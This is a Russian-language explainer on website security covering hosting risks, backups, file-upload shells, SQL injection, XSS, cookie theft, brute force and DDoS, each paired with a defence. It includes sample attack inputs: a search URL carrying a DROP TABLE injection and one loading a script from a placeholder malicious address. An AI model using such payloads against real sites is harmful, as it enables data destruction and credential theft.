Безопасность сайта

Прежде всего сайт - это набор файлов. А хостинг на котором он живет - это компьютеры. По этому большая часть правил безопасности исходит именно из этих позиций

Разберем внешние угрозы:

Что может случиться с компьютерами? Все что угодно: он может сломаться. Жесткий диск отработает свои 10000 часов и полетит. Температура/землятресение/влажность/перебои с электричеством - всему могут быть подвергнуты компьютеры. Но обычно они расположены в специально оборудованных датацентрах, в которых соблюдаются основные требования к окружающей среде. А жесткие диски оборудуют raid массивами, которые подключают 2 жестких диска и заставляют их записывать одни и те же данные, на случай если один накроется. По этому - все эти угрозы легко контролируются.

У компьютеров должен быть постоянно рабочий канал подключения к интернету. Канал - это провод. С проводом тоже всякое может случиться... по этому дата центры оборудуют резервными и мощными каналам связи.

Возможно нападение бандитов/рейдов/злостных шпионов/да и просто посетителей на экскурсии. Тут уже все кладется на плечи дата центра. Все дата центры охраняются, вопрос лишь в силе охраны и компетентности. Против изъятия серверов соответствующими органами - охрана может оказаться бессильна.

Не исключены пожары, наводнения и другие чрезвычайные ситуации... От этого никто не застрахован

Но! Давайте не забывать. Сайт - это набор файлов.

Это означает, что бекапы (резервные копии) должны создаваться с некоторой периодичностью и храниться желательно в другом месте (даже другой стране). И в случае ЧП - мы восстанавливаем последний бекап и арендуем хостинг в другом дата центре. Случаи довольно редки и весь процесс налажен и надежен.

Внутренние угрозы:

Теперь. Сайт - это набор файлов. Если эти файлы не содержат логики, обработки данных пользователя - ваш сайт абсолютно защищен.

Если пользователь может вводить что-либо - свои контактные данные, поискове строки, файлы - это накладывает потенциальные угрозы. Обычно они решаются прямыми руками программистов. Что может сделать пользователь?

Залить скриптовый файл, и выполнить любое действие от вашего сервера (имени) - произвести почтовую спам рассылку, смс (если подключен биллинг), доступ к базам и файлам, наводнить вирусами или порно заглушками с рекламой. Все зависит от немерений и навыков взломщика. Если скрипт удается залить и вполнить - тут ничто не спасет. Пока уязвимость будет существовать - ей будут пользоваться. Если на сайте есть залитие файлов - проверяйте расширения. Преобразовывайте содержание, если это возможно. К примеру - если можно заливать только картинки - файл не зальется до тех пор, пока не будет получено число пикселей в этом изображении и файл не пройдет внутреннее преобразование, или проверка на вирусы.

Shell. Лучше всего задать список возмжоных расширейний, чем исключить скрипты (*.php), т.к. некоторые операционные системы могут допустить заливку данного типа файлов через null байт %00

SQL Инъккция. Когда мы выполняем поиск по сайту - мы пишем в поисковой строке к примеру http://yandex.ru/yandsearch?text=наша%20поисковая%20строка. При этом скрипт считывает запрос и передает его базе данных, ведь в базе у нас храняться содержание для поиска. И! Передает его без преобразований. На языке SQL это выглядит как: Select * from Articles where text like '".($_GET['text'])."'. Ну а что мешает злоумышленнику использовать множественный запрос и выполнить любое действие в базе? http://yandex.ru/yandsearch?text=тест';drop%20table%20Articles;--. Что при этом произойдет? Выполниться запрос на поиск и удаление таблицы со статьями. На ее месте может быть другая таблица. Защита от этого - экранировать ковычки. Select * from Articles where text like '".mysql_real_escape_string($_GET['text'])."'

Желательно также проверять все пользовательские переменные на допустимый ввод. Если это число - приводить к числовому формату, если почтовый индекс - проверять на количество символов.

Прямое отображение переменной на странице: Пользователь ввел в поиске "наша поисковая строка". И вы ему отвечаете: По запросу "наша поисковая строка найдено: ...". Теперь - если у сервера установлен прямой вывод - он выведет все переменные без исключения. Так что мешает пользователю прислать в поисковой строке Javascript - скрипт, который будет выполнен на стороне клиента. Как это выглядит:

http://yandex.ru/yandsearch?text=«script src="http://адрес зловредного скрипта"»«/script»

Т.к. преобразователей начала тега и окончания выводятся как есть - пользователь может как угодно дополнять страницу своим содержимым. Может создать любой скрипт - украсть куки авторизации, номер карты, заполучить какие-либо другие введенные данные. Защита от этого - преобразовывать теги для поисковой строки перед выводом. Да и перед вводом - зачем кому-то искать «»

Сниффинг. Допустим - вы храните логин и пароль в куках в открытом виде. Злоумыленик знает где они хранятся. Он размещает таким образом скрипт, который отправляет эти куки на сервер злоумышленника/сторонний сервер. Воспользоваться сервисом сокращения ссылок. Теперь - все что остается - послать жертве сообщение, или написать на форуме эту короткую ссылку. Все кто авторизован и поставили галочку хранить пароли - сольют свои данные злоумышленнику. Защита от этого - не хранить пароли в открытом виде, не выводить переменную без преобразований тегов.

Тупо Подбор. Ну хорошо. Мы защитились ото всего. А что мешает злоумышленнику запустить робота, который бы подбирал все возможные пароли. Не у всех же пароли состоят из 12 символов с разными регистрами и специсмволами. От этого надо просто защититься. Поставить ограничение на количество, на время между запросами. При 3 неверных попытках - заставить пользователя вводить текст с капчи.

Если мы используем старую версию какой-либо CMS, или готовым скриптом - он может быть потенциально уязвим от известных атак. Все что остается злоумышленнику - определить что за система у вас стоит и обнаружить где находятся файлы с уязвимостями. Отсюда правило - переменовывайте папки с системой. Обновляйтесь чаще, или используйте сапописные CMS и скрипты.

DDOS. Злоумышленнику не удалось подкопаться к системе и он решил вас забить. Забить множеством липовых запросов. Тысячи, миллионы запросов в секунду. Как минимум - у сайта забивается канал и он начинает тормозить. Далее - из-за такой нагрузки - все процессоры забиваются. Здесь уже - работа для администратора. Заблокировать IP адреса, с которых лезут лишние запросы, либо коссвенные признаки. Поддержка и организация DDOS - дорога и противозаконна. Защита - создавать кеширование результатов для уменьшения нагрузки, воспользоваться службой безопасности.

Иногда обнаруживаются общие уязвимости, которые являются неожиданностью для всего интернета. От этого тоже никто не может быть застрахован.

Использование самых последних алифа версий ПО. В них закрываются известные уязвимости и открываются новые. Защита - использовать проверенные версии ПО.

Если вы храните предметы авторского права в стране, где запрещено их хранение - вы потенциально рискуете. Здесь вам помогут адвокаты. От этого никто не знастрахован и пока порядка в системе копирайта не будет - угроза будет существовать.

Если вы все это предусмотрели - вы максимально обезопасили свой сайт от внешних и внутренних угроз.